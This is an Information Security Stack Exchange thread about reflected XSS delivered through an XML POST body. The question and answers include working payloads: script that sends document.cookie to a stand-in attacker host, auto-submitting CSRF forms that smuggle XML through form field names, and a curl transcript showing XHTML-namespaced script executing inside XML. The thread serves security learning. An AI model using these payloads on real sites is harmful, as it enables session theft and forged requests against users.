Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I know that a reflected XSS can be done with a GET request like:

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

As long the response looks similar to this:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

But is this attack still possible, in case that the search term is send along a POST request in the http body as part of XML content. This approch is often used by RESTful services.

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

If this is possible, how can an attacker achieve this?

[EDIT]

It is also required that the Content-Type header is set to application/xml

share|improve this question
add comment

2 Answers

up vote 1 down vote accepted

Attacker can use to an auto submittable remote form with default value. like this :

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

and

Add a script stating XHTML namespace, it will run. Example

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
* Closing connection #0
</Query

Example

share|improve this answer
add comment

In order for reflective XSS to be useful to an attacker, it must make a Cross-site request. So, in this case, an attacker will need a CSRF exploit to deliver the XML, which contains the XSS payload.

My preferred approach is to use ActionScript which has control over parts of the HTTP header, such as the Content-Type. ActionScript can control the entire HTTP body of a POST request. A tool I wrote in ActionScript called CSRF-Request-Builder will do this.

Another approach to XML based CSRF is to use name form attribute:

<FORM NAME="buy" ENCTYPE="text/plain"
action="http://trade.example.com/xmlrpc/trade.rem" METHOD="POST">
<input type="hidden" name='<Query>
<SearchTerm>
    <script>location.href'
value='"http://hackers.com?sessionToken="+document.cookie;</script>
</SearchTerm>
</Query>'>
</FORM>
<script>document.buy.submit();</script>
share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.